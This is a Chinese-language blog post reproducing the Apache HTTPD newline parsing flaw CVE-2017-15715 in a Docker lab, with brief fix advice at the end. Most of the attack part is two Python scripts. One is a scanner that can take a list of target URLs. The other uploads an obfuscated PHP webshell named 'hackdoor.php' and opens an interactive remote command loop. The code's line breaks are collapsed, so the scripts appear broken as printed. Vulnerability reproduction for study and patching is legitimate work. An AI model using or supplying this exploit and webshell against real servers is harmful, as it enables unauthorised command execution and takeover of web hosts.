Apache HTTPD 換行解析漏洞

漏洞介紹

CVE-2017-15715

Apache HTTPD 是一個廣泛使用的 HTTP 服務器,可以通過 mod_php 模塊來運行 PHP 網頁。在其 2.4.0 到 2.4.29 版本中存在一個解析漏洞,當文件名以 1.php\x0A 結尾時,該文件會被按照 PHP 文件進行解析,這使得攻擊者可以繞過服務器的一些安全策略。

環境搭建

docker compose build
docker compose up -d

檢測web使用的服務器,Apache 2.4.10版本,可能存在Apache HTTPD 解析漏洞

image.png

漏洞復現

上傳一個phpinfo的文件

<?php phpinfo();?>

首先,嘗試上傳一個名為 phpin.php 的文件,可以看到上傳被安全檢查攔截:

3.jpg

切換到Hex,在1.php后添加0a

但是,如果我們在文件名 1.php 后面添加一個 \x0A(注意:必須是單獨的 \x0A,而不是 \x0D\x0A),上傳就會成功:

4.jpg

發送數據包,如圖所示

5.jpg

在ubuntu上查看信息,科里面可以看到我們上傳的11.php文件

#查看鏡像CONTAINER ID
docker ps
root@xuan-virtual-machine:/home/xuan/vulhub/httpd/CVE-2017-15715# docker exec -it cve-2017-15715_apache_1  bash
root@2dbf622e717a:/var/www/html# ls
11.php?  index.php

瀏覽器進行訪問[http://192.168.118.135:8080/11.php%0A](http://192.168.118.135:8080/11.php )

當訪問上傳的文件 /1.php%0a 時,雖然該文件沒有正確的 PHP 擴展名,但它會被成功解析為 PHP 文件。這證實了解析漏洞的存在:

6.jpg

POC和EXP腳本

#CVE-2017-15715-POC
__author__ = '紙機'
import requests
import optparse
import osparse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')options,args = parse.parse_args()
#print(options)
#驗證參數是否完整
if (not options.URL or not options.PORT) and not options.FILE:print('Usage:python3 CVE-2017-15715-POC.py [-u url] [-p port] [-f FILE]\n')exit('CVE-2017-15715-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')filename = '/2.php%0A'
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0','Content-Type': 'multipart/form-data; boundary=---------------------------153388130435749919031880185481'}
#提交數據
data = '''-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: application/octet-streamaaa
-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="name"2.php-----------------------------153388130435749919031880185481--'''
#驗證鏈接
#url2 = options.URL+':'+options.PORT+filename
def upload(url):try:#上傳文件resp = requests.post(url,headers=headers,data=data)return 1except Exception as e:print("[-] {0} 連接失敗".format(url))return 0def checking(url):try:#驗證文件是否上傳成功response = requests.get(url+filename)if response.status_code == 200 and 'aaa' in response.text:print('[+] {0} 存在CVE-2017-15715 Apache HTTPD 換行解析漏洞'.format(url))else:print('[-] {0} 不存在Apache HTTPD 換行解析漏洞'.format(url))except Exception as e:print("[-]{0}連接失敗".format(url))if options.FILE and os.path.exists(options.FILE):with open(options.FILE) as f:urls = f.readlines()#print(urls)for url in urls:url = str(url).replace("\n", "")if upload(url) == 1:checking(url)
elif options.FILE and not os.path.exists(options.FILE):print('[-] {0} 文件不存在'.format(options.FILE))
else:#上傳鏈接url = options.URL+':'+options.PORTif upload(url) == 1:checking(url)
python .\CVE-2017-15715-POC.py  -u http://192.168.118.135  -p 8080

7.jpg

EXP

#CVE-2017-15715 EXP
__author__ = 'zhiji'import requests
import optparse
import timeparse = optparse.OptionParser(usage = 'python3 %prog -u url [-p port] version=1.0')
parse.add_option('-u','--url',dest='url',help='web server ip_addr')
parse.add_option('-p','--port',dest='port',help='web server port[default:8080]',default='8080')options,args = parse.parse_args()
#驗證參數是否完整
if not options.url or not options.port:print('Usage:python3 CVE-2017-15715-EXP.py -u url -p port\n')exit('CVE-2017-15715-EXP.py:error:missing a mandatory option(-u,-p).\nUse -h for basic and -hh for advanced help')#ip = '192.168.132.142:8080/'
filename = '/hackdoor.php%0a?0='#上傳鏈接
url1 = options.url+':'+options.port
#命令執行
url2 = options.url+':'+options.port+filename#數據包頭部
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0','Content-Type': 'multipart/form-data; boundary=---------------------------153388130435749919031880185481'}
#上傳數據
data = '''-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="file"; filename="hackdoor.php"
Content-Type: application/octet-stream<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="name"hackdoor.php-----------------------------153388130435749919031880185481--'''#上傳木馬
def upload(url):print('[*]目標地址:'+url1)respond = requests.post(url1,headers=headers,data=data)try:if respond.status_code == 200:print('[+]木馬上傳成功')else:print('[-]上傳失敗')except Exception as e:print(e)#命令執行
def attack(url,cmd):respond = requests.get(url+cmd)try:if respond.status_code == 200 and cmd == 'pwd':return respond.textif respond.status_code == 200:print(respond.text)else:print('命令執行錯誤')except Exception as e:print(e)
upload(url1)
time.sleep(0.5)
print('輸入執行命令(quit退出):')
while(1):pwd = attack(url2,'pwd')pwd = '{0}>'.format(str(pwd).replace("\n",""))cmd = input(pwd)if(cmd == 'quit'):breakattack(url2,cmd)
python .\CVE-2017-15715-EXP.py  -u http://192.168.118.135  -p 8080

8.jpg

修復建議

  • 升級到最新版本
  • 對上傳文件重命名
  • 禁用上傳文件的執行權限

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/76336.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/76336.shtml
英文地址,請注明出處:http://en.pswp.cn/web/76336.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

常用開發環境/工具版本選擇(持續更新中)

操作系統&#xff1a;Ubuntu Server Version&#xff08;LTS&#xff09;Latest Sub VerRelease Time24.04(Noble Numbat)24.04.22025-02-1622.04(Jammy Jellyfish)22.04.52024-09-1120.04(Focal Fossa)20.04.62023-03-1418.04(Bionic Beaver)18.04.62021-09-1516.04.7(Xenial…

STM32 認識STM32

目錄 什么是嵌入式&#xff1f; 認識STM32單片機 開發環境安裝 安裝開發環境 開發板資源介紹 單片機開發模式 創建工程的方式 燒錄STM32程序 什么是嵌入式&#xff1f; 1.智能手環項目 主要功能有&#xff1a; 彩色觸摸屏 顯示時間 健康信息&#xff1a;心率&#…

C#核心筆記——(六)框架基礎

我們在編程時所需的許多核心功能并不是由C#語言提供的,而是由.NET Framework中的類型提供的。本節我們將介紹Framework在基礎編程任務(例如虛的等值比較、順序比較以及類型轉換)中的作用。我們還會介紹Framework中的基本類型,例如String、DateTime和Enum. 本章中的絕大部分…

AI——K近鄰算法

文章目錄 一、什么是K近鄰算法二、KNN算法流程總結三、Scikit-learn工具1、安裝2、導入3、簡單使用 三、距離度量1、歐式距離2、曼哈頓距離3、切比雪夫距離4、閔可夫斯基距離5、K值的選擇6、KD樹 一、什么是K近鄰算法 如果一個樣本在特征空間中的k個最相似&#xff08;即特征空…

transient關鍵字深度解析

Java transient 關鍵字深度解析 transient(意思:瞬時的,瞬間的) 1. 核心概念 (1) 基本定義 作用:標記字段不參與序列化 適用場景: 敏感數據(如密碼、密鑰) 臨時計算字段 依賴運行時環境的字段(如Thread對象) (2) 語法示例 java public class User implements Se…

信刻電子檔案藍光光盤刻錄安全檢測長期歸檔

信刻一直致力于為檔案館、各行業檔案部門&#xff0c;提供跨網數據交換、電子檔案數據磁光異質備份歸檔解決方案。所研制的電子檔案光盤智能長期歸檔系統&#xff0c;滿足國產環境下”刻、管、存、檢、用”全生命周期管理應用需求&#xff0c;能夠提供一份離線歸檔、一份近線存…

Word 中“母版頁”的等效機制

Word 和 PowerPoint 不太一樣——**Word 實際上沒有像 PowerPoint 那樣的“母版頁&#xff08;Master Page&#xff09;”**功能。但它有1個和“母版頁”功能類似的東西&#xff0c;可能造成你看到的“校徽自動出現在每一頁”的現象&#xff1a; ? Word 中“母版頁”的等效機制…

Go:反射

為什么使用反射 在編程中&#xff0c;有時需編寫函數統一處理多種值類型 &#xff0c;這些類型可能無法共享同一接口、布局未知&#xff0c;甚至在設計函數時還不存在 。 func Sprint(x interface{}) string {type stringer interface {String() string}switch x : x.(type) …

SS25001-多路復用開關板

1 概述 1.1 簡介 多路復用開關板是使用信號繼電器實現2線制的多路復用開關板卡&#xff1b;多路復用開關是一種可以將一個輸入連接到多個輸出或一個輸出連接到多個輸入的拓撲結構。這種拓撲通常用于掃描&#xff0c;適合將一系列通道自動連接到公共線路的的設備。多路復用開…

vue3 nprogress 使用

nprogress 介紹與作用 1.nprogress 是一個輕量級的進度條組件&#xff0c;主要用于在頁面加載或路由切換時顯示一個進度條&#xff0c;提升用戶體驗。它的原理是通過在頁面頂部創建一個 div&#xff0c;并使用 fixed 定位來實現進度條的效果 2.在 Vite Vue 3 項目中&#xf…

Jsp技術入門指南【六】jsp腳本原理及隱式對象

Jsp技術入門指南【六】jsp腳本原理及隱式對象 前言一、JSP 腳本元素1.1 聲明1.2 表達式1.3 腳本標簽 二、JSP 的隱式對象是什么三、隱式對象詳解outrequestsessionapplicationconfigexception 前言 在之前的博客中&#xff0c;我們已經介紹了JSP的環境搭建、編譯文件查找以及生…

vue3推薦的移動table庫

vxe-table https://gitee.com/js-class/vxe-table#https://gitee.com/link?targethttps%3A%2F%2Fvxetable.cn 文檔api https://vxetable.cn/#/component/table/other/bookkeepingVoucher 引入步驟 安裝 npm install xe-utils vxe-tablenext 在項目main.js引入 import …

HOOPS Exchange 與HOOPS Communicator集成:打造工業3D可視化新標桿!

一、概述 在工業3D開發、BIM建筑、數字孿生和仿真分析等高端應用場景中&#xff0c;數據格式復雜、模型體量龐大、實時交互體驗要求高&#xff0c;一直是困擾開發者的難題。Tech Soft 3D旗下的HOOPS Exchange和HOOPS Communicator&#xff0c;正是解決這類問題的黃金搭檔。二者…

《軟件設計師》復習筆記(14.3)——設計模式

目錄 一、設計模式分類 1. 創建型模式&#xff08;Creational Patterns&#xff09; 2. 結構型模式&#xff08;Structural Patterns&#xff09; 3. 行為型模式&#xff08;Behavioral Patterns&#xff09; 真題示例&#xff1a; 一、設計模式分類 架構模式 高層設計決…

HarmonyOS:使用Refresh組件實現頁面下拉刷新上拉加載更多

一、前言 可以進行頁面下拉操作并顯示刷新動效的容器組件。 說明 該組件從API Version 8開始支持。后續版本如有新增內容&#xff0c;則采用上角標單獨標記該內容的起始版本。該組件從API Version 12開始支持與垂直滾動的Swiper和Web的聯動。當Swiper設置loop屬性為true時&…

55、?屏加載?屏怎么進?優化

答&#xff1a; &#xff08;1&#xff09;使?CDN 減?代碼體積&#xff0c;加快請求速度&#xff1b; (2)SSR通過服務端把所有數據全部渲染完成再返回給客?端&#xff1b; (3) 路由懶加載&#xff0c;當??訪問的時候&#xff0c;再加載相應模塊&#xff1b; (4) 使?外…

什么是Python單例模式

什么是Python單例模式 Python單例模式是一種創建型設計模式,目的是確保一個類僅有一個實例,并提供一個全局訪問點來獲取該實例。以下從作用和示例進行介紹: 作用 控制資源使用:避免對系統資源的重復消耗,像數據庫連接、文件句柄等稀缺資源,只創建一個實例來管理使用,防…

Java 2025:解鎖未來5大技術趨勢,Kotlin融合AI新篇

各位Java開發者們好&#xff01;&#x1f680; 2025年的Java世界正在經歷一場前所未有的技術變革。作為深耕Java領域多年的技術博主&#xff0c;今天我將帶大家深入探索Java生態即將迎來的5大技術趨勢&#xff0c;特別是Kotlin的深度融合和AI技術的新篇章。準備好了嗎&#xff…

計算機視覺cv2入門之車牌號碼識別

前邊我們已經講解了使用cv2進行圖像預處理與邊緣檢測等方面的知識&#xff0c;這里我們以車牌號碼識別這一案例來實操一下。 大致思路 車牌號碼識別的大致流程可以分為這三步&#xff1a;圖像預處理-尋找車牌輪廓-車牌OCR識別 接下來我們按照這三步來進行講解。 圖像預處理 …

CExercise_13_1排序算法_3快速排序算法,包括單向分區以及雙向分區

題目&#xff1a; 請手動實現快速排序算法&#xff0c;包括單向分區以及雙向分區&#xff1a; // 單向分區快速排序算法 void quick_sort_one_way(int arr[], int len); //雙向分區快速排序算法 void quick_sort_two_way(int arr[], int len); 關鍵點 分析&#xff1a; &#x…